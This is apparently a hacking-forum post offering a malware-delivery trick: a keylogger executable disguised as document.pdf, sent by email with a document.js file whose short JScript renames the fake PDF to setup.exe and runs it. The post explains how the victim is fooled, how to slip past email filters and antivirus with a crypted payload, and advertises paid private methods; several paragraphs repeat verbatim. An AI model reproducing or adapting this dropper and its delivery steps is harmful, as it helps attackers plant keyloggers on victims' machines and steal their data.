Oct 23, 2016 02:17 PM
(This post was last modified: Oct 23, 2016 02:38 PM by geba.)
First of all rename your keylogger document.pdf, next create a javascript file and name that document.js, after that put the next code listed bellow in the javascript file, and dont forget to modify in javascript code the file names if you want other names.
Afther that puth bouth file in one archive or you can send each one without archive on email.Also you can use other extension instead pdf.
How it work? The victim open first the pdf, the default pdf manager will try to open the binded exe but will show an error, after that the victim see the second file document.js and will think to open, when will open the file the document.pdf will be renamed with exe and executed.
I used this method with crypted exe and then binded, but is a nice method for emails that dont allow exe to be sent.You can put more instances for kick the antivirus reaction if you dont use a crypted payload.
Now i work for make this working on android and later maybe iOS.
If you want more methods and other private paid stuff contact me.
Test first with calc.exe renamed document.exe and re-renamed document.pdf
This code put in document.js that's all:
Afther that puth bouth file in one archive or you can send each one without archive on email.Also you can use other extension instead pdf.
How it work? The victim open first the pdf, the default pdf manager will try to open the binded exe but will show an error, after that the victim see the second file document.js and will think to open, when will open the file the document.pdf will be renamed with exe and executed.
I used this method with crypted exe and then binded, but is a nice method for emails that dont allow exe to be sent.You can put more instances for kick the antivirus reaction if you dont use a crypted payload.
Now i work for make this working on android and later maybe iOS.
If you want more methods and other private paid stuff contact me.
Test first with calc.exe renamed document.exe and re-renamed document.pdf
This code put in document.js that's all:
Code
var fso = new ActiveXObject("Scripting.FileSystemObject");
if(fso.FileExists("document.pdf")){
fso.MoveFile('document.pdf', 'setup.exe');
} else {
}
var shell = new ActiveXObject('WScript.Shell');
shell.Run('setup.exe');
